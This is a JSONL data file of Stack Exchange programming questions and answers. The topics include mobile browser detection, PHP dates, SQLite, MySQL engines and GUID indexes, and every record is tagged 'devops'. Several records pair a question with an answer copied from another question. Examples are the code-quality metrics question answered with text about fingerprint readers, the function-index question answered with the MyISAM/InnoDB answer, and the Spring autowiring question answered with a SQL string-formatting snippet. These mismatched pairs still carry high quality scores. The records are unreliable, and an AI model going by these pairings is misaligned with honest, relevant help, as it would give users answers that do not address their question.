{"id": "hf_19108ee778f8", "question": "<p>I want to check whether the user is viewing my site from a mobile device or PC. If it's a mobile device, I want to redirect my site URL like Google does...</p>\n\n<p>If possible I would like to implement this in JavaScript. How can I do this?</p>\n", "question_body": "", "answer": "You typically use the User-Agent header to detect the browser.\nHere's JavaScript code that does basically that (only for mainstream browsers though, you'd have to add the Mobile User-Agents)\nhttp://www.quirksmode.org/js/detect.html\nAnd here's a list of mobile browser identifiers\nhttp://www.zytrax.com/tech/web/mobile_ids.html\nThe list is not complete and will never be, given the rate new mobiles appear on the market, but what I did back when I did it is to store all received user agents in a database, and then look for them to classify them as mobile and which brand/model.\nWhat you can't rely on though is JavaScript, it's better done in server code (not all mobile browsers execute JavaScript).\nThere is a related question here on SO but I couldn't find it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.018809"}
{"id": "hf_6b15c68b2b5d", "question": "<p>How do I add a certain number of days to the current date in PHP?</p>\n\n<p>I already got the current date with:</p>\n\n<pre><code>$today = date('y:m:d');\n</code></pre>\n\n<p>Just need to add x number of days to it</p>\n", "question_body": "", "answer": "a day is 86400 seconds.\n```\n```\n$tomorrow = date('y:m:d', time() + 86400);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.054755"}
{"id": "hf_07ab913e191d", "question": "<p>Let's say I have a source file with many preprocessor directives. Is it possible to see how it looks after the preprocessor is done with it?</p>\n", "question_body": "", "answer": "Most compilers have an option to just run the preprocessor.\ne.g.\n, gcc provides -E:\n```\n```\n-E  Stop after the preprocessing stage; do not run the compiler proper.  \n       The output is in the form of preprocessed source code, which is sent\n       to the standard output.\n```\n```\nSo you can just run:\n```\n```\ngcc -E foo.c\n```\n```\nIf you can't find such an option, you can also just find the C preprocessor on your machine.  It's usually called cpp and is probably already in your path.  Invoke it like this:\n```\n```\ncpp foo.c\n```\n```\nIf there are headers you need to include from other directories , you can pass -I/path/to/include/dir to either of these, just as you would with a regular compile.\nFor Windows, I'll leave it to other posters to provide answers as I'm no expert there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.091407"}
{"id": "hf_7924ceeeffef", "question": "<p>I want to be able to compare Dates and Times in Rails without always having to call the to_time or to_date method. So I wrote the following code:</p>\n\n<pre><code>class Date\n  def ==(other)\n    if other.kind_of?(Time)\n      self.to_time == other\n    else\n      super(other)\n    end\n  end\nend\n</code></pre>\n\n<p>I know there's an easy way to write this so that I can make this work for >, &lt;, >=, &lt;= and &lt;=>. But I forgot how :P Any ideas?</p>\n", "question_body": "", "answer": "Your example looks okay, but I wouldn't use\n```\nkind_of?\n```\n- if\n```\nother\n```\ndoesn't implement\n```\nto_time\n```\nyou get an exception anyway!\nUpdate: What you are looking for is probably the\n```\n<=>\n```\noperator!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.214843"}
{"id": "hf_9dc759d152eb", "question": "<p>What is a mathematical way of of saying 1 - 1 = 12 for a month calculation?  Adding is easy, 12 + 1 % 12 = 1, but subtraction introduces 0, stuffing things up.</p>\n\n<p>My actual requirement is x = x + d, where x must always be between 1 and 12 before and after the summing, and d any unsigned integer.</p>\n", "question_body": "", "answer": "Assuming x and y are both in the range 1-12:\n```\n```\n((x - y + 11) % 12) + 1\n```\n```\nTo break this down:\n```\n```\n// Range = [0, 22]\nx - y + 11\n\n// Range = [0, 11]\n(x - y + 11) % 12\n\n// Range = [1, 12]\n((x - y + 11) % 12) + 1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.238212"}
{"id": "hf_f69a7b92ea73", "question": "<p>I've been reading through the details of the <code>System</code> libraries <code>set</code> and <code>get</code> methods yet the parameters are usually Strings.</p>\n\n<p>Would you consider the use of <code>String</code> as parameters bad practise since the inclusion of <code>enum</code>?</p>\n\n<p>A better alternative at minimum might be <code>public final String</code>, No?</p>\n", "question_body": "", "answer": "I would consider Enums to be a better approach than Strings. They are type safe and comparing them is faster than comparing Strings.\nAs a pre Java 1.5 alternative you could use the type-safe enum pattern suggested by Joshua Bloch in his book Effective Java. For type-safe enums see also\nhttp://www.javacamp.org/designPattern/enum.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.263653"}
{"id": "hf_7618a00999a5", "question": "<p>I need to read the user's fingerprint from my application.</p>\n\n<p>What I really want is a simple SDK that works with a lot of inexpensive fingerprint readers but I can deal with something that works only with one specific model if that model is cheap and available worldwide.</p>\n\n<p>And <strong>it has to be royalty-free</strong>, I can pay for a development license but if I have to pay for each installation I just can't use it.</p>\n\n<p>What I'm doing has no relation to login or encryption, so the software included with the reader will probably be useless to me.</p>\n", "question_body": "", "answer": "There is no standard API for reading fingerprint data as far as I'm aware since it is a fairly new field and there's no standard way of doing it. Each manufacturer will provide their own API for reading the hardware. The API could just be IO specification to the hardware and there's no library whatsoever, which makes things a bit trickier. This is down to two factors. The first is that finger print readers are used in many applications - custom hardware, embedded systems through to PC authentication and beyond. Providing software for all those different systems would not be viable from the manufacturers point of view. Secondly, each manufacturer uses a different approach to reading and processing the captured images which would make a common API problematic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.301684"}
{"id": "hf_0ef5e4e1b6dc", "question": "<p>Most programming houses / managers i know of can only define quality in terms of the no of bugs made / resolved in retrospect. </p>\n\n<p>However most good programmers can innately sense quality once they start meddling with the code.(right?) </p>\n\n<p>Has any programming houses that you know of, successfully translated this information into metrics that organizations can measure and track to ensure quality? </p>\n\n<p>I ask since i very often hear rantings from dis-gruntled managers who just cannot put their finger on what quality really is. But some organizations like HoneyWell i hear has lots of numbers to track programmer performance, all of which translates to numbers and can be ticked off during appraisals. Hence my question to the community at large to bring out the stats they know of.</p>\n\n<p>Suggestions about tools that can do a good job of measuring messy codes will help too. </p>\n", "question_body": "", "answer": "There is no standard API for reading fingerprint data as far as I'm aware since it is a fairly new field and there's no standard way of doing it. Each manufacturer will provide their own API for reading the hardware. The API could just be IO specification to the hardware and there's no library whatsoever, which makes things a bit trickier. This is down to two factors. The first is that finger print readers are used in many applications - custom hardware, embedded systems through to PC authentication and beyond. Providing software for all those different systems would not be viable from the manufacturers point of view. Secondly, each manufacturer uses a different approach to reading and processing the captured images which would make a common API problematic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.331681"}
{"id": "hf_973c6ef8f6f4", "question": "<p>I have an existing standalone application which is going to be extended by a 3rd-party, using a network protocol. The capabilities are already implemented, all I need is to expose them to the outside.</p>\n\n<p>Assuming the transport protocol is already chosen (UDP), are there any resources that will help me to design my application protocol?</p>\n\n<p>There seems to be a lot of information about software design, but not on protocol design.\nI've already looked at <a href=\"http://www.faqs.org/docs/artu/ch05s03.html\" rel=\"noreferrer\">Application Protocol Design</a>.</p>\n", "question_body": "", "answer": "First off, UDP is primarily a one-way broadcast transport method. Also, it is\npotentially lossy\n, so you need to be able handle missing packets and out-of-order packets. If you need any level of reliability from UDP, or require two-way connections, you will end up needing just about everything from TCP, so you might as well go with that to start with and let the network stack take care of it.\nNext up, if your data is potentially larger than a single IP packet then you will need some way of identifying the start and end of each packet, and a means of handling illegal or corrupt packets. I would recommend some kind of header with packet length, some kind of footer, and maybe a checksum.\nThen you need some way of encoding the messages and responses. There are many RPC protocols around. You could look at SOAP, or design a custom XML-based protocol, or a binary one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.383824"}
{"id": "hf_04aa557f10c2", "question": "<p>I want to store a list of the following tuples in a compressed format and I was wondering which algorithm gives me</p>\n\n<ul>\n<li>smallest compressed size</li>\n<li>fastest de/compression</li>\n<li>tradeoff optimum (\"knee\" of the tradeoff curve)</li>\n</ul>\n\n<p>My data looks like this:</p>\n\n<pre><code>(&lt;int&gt;, &lt;int&gt;, &lt;double&gt;), \n(&lt;int&gt;, &lt;int&gt;, &lt;double&gt;), \n...\n(&lt;int&gt;, &lt;int&gt;, &lt;double&gt;)\n</code></pre>\n\n<p>One of the two ints refers to a point in time and it's very likely that the numbers ending up in one list are close to each other. The other int represents an abstract id and the values are less likely to be close, although they aren't going to be completely random, either. The double is representing a sensor reading and while there is some correlation between the values, it's probably not of much use.</p>\n", "question_body": "", "answer": "Since the \"time\" ints can be close to each other, try to only store the first and after that save the difference to the int before (delta-coding). You can try the same for the second int, too.\nAnother thing you can try is to reorganize the data from [int1, int2, double], [int1, int2, double]... to [int1, int1...], [int2, int2...], [double, double...].\nTo find out the compression range your result will be in, you can write your data into a file and download the compressor CCM from Christian Martelock\nhere\n. I found out that it performs very well for such data collections. It uses a quite fast\ncontext mixing\nalgorithm. You can also compare it to other compressors like WinZIP or use a compression library like zLib to see if it is worth the effort.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.409705"}
{"id": "hf_9e2c6b293a3d", "question": "<p>I know Flex pretty good but also started to use Java FX. I am a little bit confused. Java FX seems to focus more on low level drawing operations and animations. Less on creating standard UIs like Flex.</p>\n\n<p>So is JavaFX more like Flash than Flex?</p>\n\n<p>On the other side JavaFX also supports Swing components as well as data binding, which makes it appear more like Flex.</p>\n", "question_body": "", "answer": "I think JavaFX is more like Flex, because JavaFX is more about building applications than animations (which is, I gather, one of the sensitive distinctions between Flex and Flash).\nI think of JavaFX and Flex as the future heirs to Rich Internet Application programming.  They're both intended to stretch the realm of what's possible with RIA.\nOne of the biggest benefits of JavaFX that I see is that\nyou can use your existing Java business logic by simply importing it\n.\nSome of the language features, such as\nbinding\nand\nduration as a data type\n, are paradigm-shifting, because they make certain functionality possible and readily available:\nBinding: Connecting two values together, so you can automatically update one value when the other updates.  Example: \"name: bind textfield.getValue\".  Much easier than setting up Observer patterns to watch for changes to variables.\nDuration can be used as a data type: \"var frameDelay = 5ms\".  Having Duration as an integral part of the language seems like a no-brainer when dealing with animations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.437787"}
{"id": "hf_a70fab502183", "question": "<p>Does anybody know how I can see the actual machine code that <a href=\"http://code.google.com/p/v8/\" rel=\"noreferrer\">v8</a> generates from Javascript? I've gotten as far as <code>Script::Compile()</code> in <code>src/api.cc</code> but I can't figure out where to go from there.</p>\n", "question_body": "", "answer": "You're on the right track, I think.\nIt looks like you need to get from Script::Compile to Compiler::Compile, which will lead you to the code generators (codegen*.cc and .h).\nAll of this to say that, looking at codegen-ia32.cc, if you define ENABLE_DISASSEMBLER\nwhen you build, your disassembly should get printed, I think.\nOf course, all of this is just from a quick browse of an old copy of the source I have here, so YMMV, but I think this should work.\n(Looking at your post again, I see you're looking for the machine language, not the assembler -- I'm not sure, but you might have to modify the logic if you want the assembled code output rather than its disassembly)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.463215"}
{"id": "hf_69e36196c5b8", "question": "<p>I have huge number of Word files I need to merge (join) into one file, and will be time consuming to use the Word merger (one by one). Have you experienced any tool that can handle this job?</p>\n", "question_body": "", "answer": "Have you tried using the Word COM api? You can automate lots of things - maybe you can automate a merge.\nDo you really need to do an actual merge, or do you want to join the files together. The two things are quite different.\nMerging is used when you have two versions of an original file with (potentially conflicting) changes. I can't really see how you would have a \"huge number\" of files that you needed to merge all together. This would be an absolute nightmare of conflicts. Do you mean to merge sets of them into individual files?\nJoining would be when you want to concatenate them one after the other. This would be a lot easier to do. This is quite possible using the COM api.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.485619"}
{"id": "hf_ec50988cb3d2", "question": "<p>What are the differences between MyISAM and Inno DB types in MySql?</p>\n", "question_body": "", "answer": "The major difference is that InnoDB supports\ntransactions\n, whereas MyISAM doesn't.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.531226"}
{"id": "hf_dcc54db84174", "question": "<p>Does anyone know how function indexes work in databases?</p>\n", "question_body": "", "answer": "The major difference is that InnoDB supports\ntransactions\n, whereas MyISAM doesn't.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.554836"}
{"id": "hf_e660ec9047e5", "question": "<p>In Python, if I do this:</p>\n\n<pre><code>print \"4\" * 4\n</code></pre>\n\n<p>I get</p>\n\n<pre><code>&gt; \"4444\"\n</code></pre>\n\n<p>In Perl, I'd get</p>\n\n<pre><code>&gt; 16\n</code></pre>\n\n<p>Is there an easy way to do the former in Perl?</p>\n", "question_body": "", "answer": "```\n```\n$ perl -e 'print \"4\" x 4; print \"\\n\"'\n4444\n```\n```\nThe x operator is documented in perldoc\nperlop\n. Here binary means an operator taking two arguments, not composed of bits, by the way.\nBinary \"x\" is the repetition operator. In scalar context or if the\nleft operand is not enclosed in parentheses, it returns a string consisting\nof the left operand repeated the number of times specified by the right\noperand. In list context, if the left operand is enclosed in parentheses\nor is a list formed by \"\n```\nqw/STRING/\n```\n\", it repeats the list. If the right\noperand is zero or negative, it returns an empty string or an empty\nlist, depending on the context.\n```\n```\nprint '-' x 80;             # Print row of dashes\n\n       print \"\\t\" x ($tab/8), ' ' x ($tab%8);      # Tab over\n\n       @ones = (1) x 80;           # A list of 80 1’s\n       @ones = (5) x @ones;        # Set all elements to 5\n```\n```\n```\nperl -e\n```\nis meant to execute Perl code from the command line:\n```\n$ perl --help\nUsage: perl [switches] [--] [programfile] [arguments]\n  \n  -e program     one line of program (several -e's allowed, omit programfile)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.616739"}
{"id": "hf_6ff4bb9818e2", "question": "<p>In a database, I have a string that contains \"default\" written in it. I just want to replace that default with 0. I have something like: </p>\n\n<pre><code>select * from tblname where test = 'default'\n</code></pre>\n\n<p>I do not want quotes in the replacement for \"default\".</p>\n\n<p>I want </p>\n\n<pre><code>select * from tblname where test = 0\n</code></pre>\n\n<p>is there any way to do this?</p>\n", "question_body": "", "answer": "I think you would be better using format strings\n```\n```\nstring myVar = \"0\";\nstring sql = String.Format(@\"select * from tblname where test = \\\"{0}\\\"\", myVar);\n```\n```\nYou should also ask yourself why you are generating inline SQL on the fly and not using stored procedures as this is how SQL injection attacks can occur unless you sanitize the input.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.671259"}
{"id": "hf_c2b1008e0e63", "question": "<p>I am trying to let a piece of runtime state decide WHICH implementation of an interface to use, preferably solely by autowiring. </p>\n\n<p>I have tried making an object factory for the interface thet uses dynamic proxies, and I used qualifiers to coerce the @Autowired injections to use the factory. The qualifiers are necessary because both the factory and the implementations respond to the same interface.</p>\n\n<p>The problem with this is that I end up annotating every @Autowired reference with the @Qualifier. What I'd really want to do is annotate the non-factory implementations with something like @NotCandidateForAutowiringByInterface (my fantasy annotation), or even better make spring prefer the single un-qualified bean when injecting to an un-qualified field </p>\n\n<p>I may thinking along the totally wrong lines here, so alternate suggestions are welcome.\nAnyone know how to make this happen ?</p>\n", "question_body": "", "answer": "I think you would be better using format strings\n```\n```\nstring myVar = \"0\";\nstring sql = String.Format(@\"select * from tblname where test = \\\"{0}\\\"\", myVar);\n```\n```\nYou should also ask yourself why you are generating inline SQL on the fly and not using stored procedures as this is how SQL injection attacks can occur unless you sanitize the input.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.709467"}
{"id": "hf_c58e5f0d4e45", "question": "<p>How do you identify the file content as being in ASCII or binary using C++?</p>\n", "question_body": "", "answer": "Well, this depends on your definition of ASCII. You can either check for values with ASCII code <128 or for some charset you define (e.g. 'a'-'z','A'-'Z','0'-'9'...) and treat the file as binary if it contains some other characters.\nYou could also check for regular linebreaks (0x10 or 0x13,0x10) to detect text files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.777389"}
{"id": "hf_ee648902aae7", "question": "<p>I’m currently using the OpenNETCF.Desktop.Communication.dll to copy files from my desktop to a CE device, but I keep getting an error:</p>\n\n<p>‘Could not create remote file’ </p>\n\n<p>My development environment is VS2005 (VB.NET)</p>\n\n<p>My code:</p>\n\n<pre><code>ObjRapi.Connect()\nObjRapi.CopyFileToDevice(\"C:\\results.txt\", \"\\results.txt\")\nObjRapi.Dispose()\nObjRapi.Disconnect()\n</code></pre>\n\n<p>Has anyone run into this and did you manage to get around it. </p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I have run into this once before but I can't really remember what was causing it.\nThe only thing I can think of from looking at your code is this line:\n```\n```\nObjRapi.CopyFileToDevice(\"C:\\results.txt\", \"\\ \\results.txt\")\n```\n```\nI'm not sure but you could try and change the destination path to something different. Something like this:\n```\n```\nObjRapi.CopyFileToDevice(\"C:\\results.txt\", \"\\My Documents\\results.txt\")\n```\n```\nI can't really test this at the moment but I really don't see why it wouldn't work.\nEDIT: I just had a look at some code that I have writen using the RAPI,when I do any copying my line looks like this:\n```\n```\nObjRapi.CopyFileToDevice(\"C:\\results.txt\", \"\\My Documents\\results.txt\",True)\n```\n```\nThe boolean on the end is an overwrite switch, setting that to true may work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.800814"}
{"id": "hf_070039796410", "question": "<p>On our build server, we've installed the .NET Framework 2.0 SDK in order to kick off MSBuild and run our builds. Now we are upgrading to the .NET Framework 3.5. We do not want to install the complete Visual Studio, but we cannot find a .NET Framework 3.5 SDK on the internet either?</p>\n\n<p>The question: What do we need ot download and install to get the equivalent of a .NET Framework 3.5 SDK installation?</p>\n", "question_body": "", "answer": ".net 3.5 comes with compiler and msbuild bundled with it. just download the normal .net 3.5 framework (not the client profile) and you'll be fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.824275"}
{"id": "hf_6b73f89f5358", "question": "<p>Just say I have a file: \"HelloWorld.pm\" in multiple subdirectories within a Git repository.</p>\n\n<p>I would like to issue a command to find the full paths of all the files matching \"HelloWorld.pm\":</p>\n\n<p>For example:</p>\n\n<pre><code>/path/to/repository/HelloWorld.pm\n/path/to/repository/but/much/deeper/down/HelloWorld.pm\n/path/to/repository/please/dont/make/me/search/through/the/lot/HelloWorld.pm\n</code></pre>\n\n<p>How can I use Git to efficiently find all the full paths that match a given filename?</p>\n\n<p>I realise I can do this with the Linux/Unix find command but I was hoping to avoid scanning all subdirectories looking for instances of the filename.</p>\n", "question_body": "", "answer": "Try:\n```\n```\ngit ls-tree -r HEAD | grep HelloWorld.pm\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.870920"}
{"id": "hf_854b589bbca0", "question": "<p>It looks like all the methods for loading SQLite involve loading from a named file using a string.  I would like to load SQlite database from memory.</p>\n\n<p>The database is already loaded into memory.</p>\n", "question_body": "", "answer": "Use a special file name,\n```\n:memory:\n```\n```\n```\nsqlite3_open(\":memory:\", &db);\n```\n```\n```\nlibsqlite\n```\nmust have been compiled\nwithout\n```\nSQLITE_OMIT_MEMORYDB\n```\ndefined, as pointed out in\nSQLite documentation\n:\n```\nSQLITE_OMIT_MEMORYDB\n```\nWhen this is defined, the library does not respect the special database name\n```\n\":memory:\"\n```\n(normally used to create an in-memory database). If\n```\n\":memory:\"\n```\nis passed to\n```\nsqlite3_open()\n```\n,\n```\nsqlite3_open16()\n```\n, or\n```\nsqlite3_open_v2()\n```\n, a file with this name will be opened or created.\nIf you want to read the database that is\nalready\nfully loaded into memory however, it will be more work. You will have to implement a custom VFS layer to operate on memory files and register it with your SQLite context.\nSee:\n```\nsqlite3_vfs\n```\n```\nsqlite3_io_methods\n```\nI have not implemented it myself, so I can't reliably tell whether you have to implement the entire new VFS layer, or you can get away with substituting some functions in the default one (latter is unlikely).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.909168"}
{"id": "hf_d01ec0fbfd65", "question": "<p>Outlook 2007 shows pictures of contacts on the right hand side of the mail form. This only works for your personal contacts and if you have photos.</p>\n\n<p>Is there a way to hook that picture up to the GAL or AD for the company so that all employees photos show automatically?  Hopefully without having to write and deploy a new msg form.</p>\n", "question_body": "", "answer": "To store a photo in AD, you can use the\n```\njpegPhoto\n```\nattribute (see\nformal description in MSDN\n). Here is\na way to do it using VBScript\n, and here's one to\ndo it using VB.NET\n.\nI'm not sure Outlook 2007 makes use of this value (my guess is - it does not), but it's worth a try. My guess is even that Outlook does not care about the\n```\njpegPhoto\n```\nif you put someone from the GAL to your personal address book. Anyway, this should be easy enough to test.\nIf all else fails, you are stuck with either making clear that it doesn't work or building a custom form that reads the value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.935450"}
{"id": "hf_f9ddd1f7acbc", "question": "<p>I'm looking for a Windows tool that is able to log every action (read &amp; write) that were made to a specific path inside the local Filesystem in order to debug a program (find out why it is sometimes slow and sometimes not).\nIn theory it could work like a virus scanner that is recognizing every file that any of the running programs do read or write and logs every thing that it sees.</p>\n", "question_body": "", "answer": "To store a photo in AD, you can use the\n```\njpegPhoto\n```\nattribute (see\nformal description in MSDN\n). Here is\na way to do it using VBScript\n, and here's one to\ndo it using VB.NET\n.\nI'm not sure Outlook 2007 makes use of this value (my guess is - it does not), but it's worth a try. My guess is even that Outlook does not care about the\n```\njpegPhoto\n```\nif you put someone from the GAL to your personal address book. Anyway, this should be easy enough to test.\nIf all else fails, you are stuck with either making clear that it doesn't work or building a custom form that reads the value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:49.961680"}
{"id": "hf_a264d40a6aed", "question": "<p>How to perform validation for a radio button group (one radio button should be selected) using jQuery validation plugin?</p>\n", "question_body": "", "answer": "use the following rule for validating radio button group selection\n```\n```\nmyRadioGroupName : {required :true}\n```\n```\nmyRadioGroupName is the value you have given to name attribute", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.014090"}
{"id": "hf_f0c0dde10f57", "question": "<p>Now I know that bigint is 2^64; that is, more atoms than there are in the known universe.  I shouldn't be worried, as my mere human brain simply can't get around the enormity of that number.</p>\n\n<p>However, let's say that I record every change to every category, product and order in my system, from launch until the end of time.  Should I be concerned about the performance of table writes before I worry about running out of primary key values?  Should I record events of different priorities to different event tables?  Will I run out of atoms on a hard drive before I run out of bigints?  How big should I let an event log table get before I start archiving / clearing it out?</p>\n", "question_body": "", "answer": "Even if every of your entries only had 1 byte, 2^64 entries would occupy around 18000000 TB on your hard drive, so I guess you shouldn't worry about this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.065810"}
{"id": "hf_008e0e37aaf5", "question": "<ul>\n<li>What exactly is a learning curve?</li>\n<li>And why is it wrong to use the term \"steep learning curve\" for something which has high entry barriers and takes quite some time to get into?</li>\n</ul>\n\n<p>As to the why-ness of this question:</p>\n\n<ul>\n<li>The terms are used often and inconsistently on Stack Overflow</li>\n<li>I myself have been confused by it</li>\n<li>Mostly the newbies are confronted with these terms when they for example ask questions like \"what's the best php development framework\"</li>\n</ul>\n", "question_body": "", "answer": "from Widipedia:\nThe term learning curve refers to the\n  graphical relation between the amount\n  of learning and the time it takes to\n  learn.\nThe term \"steep learning curve\" is often\nwrongly\nused for things which need some time to wrap ones mind around. Also here on Stack Overflow I've seen it used wrongly many times and hence this Question and my own answer to it.\nIn fact a steep learning curve is given, when it is relatively easy to start of with a new skill/technique/...\nit means that the relationship between \"learning progress (y)\" and \"time invested (x)\" is greater than 1.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.090998"}
{"id": "hf_adf7e75e81b9", "question": "<p>I am working on a database that usually uses GUIDs as primary keys.</p>\n\n<p>By default SQL Server places a clustered index on primary key columns. I understand that this is a silly idea for GUID columns, and that non-clustered indexes are better.</p>\n\n<p>What do you think - should I get rid of all the clustered indexes and replace them with non-clustered indexes?</p>\n\n<p>Why wouldn't SQL's performance tuner offer this as a recommendation?</p>\n", "question_body": "", "answer": "The problem with clustered indexes in a GUID field are that the GUIDs are random, so when a new record is inserted, a significant portion of the data on disk has to be moved to insert the records into the middle of the table.\nHowever, with integer-based clustered indexes, the integers are normally sequential (like with an\n```\nIDENTITY\n```\nspec), so they just get added to the end an no data needs to be moved around.\nOn the other hand, clustered indexes are not always bad on GUIDs... it all depends upon the needs of your application.  If you need to be able to\n```\nSELECT\n```\nrecords quickly, then use a clustered index... the\n```\nINSERT\n```\nspeed will suffer, but the\n```\nSELECT\n```\nspeed will be improved.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:50.129008"}
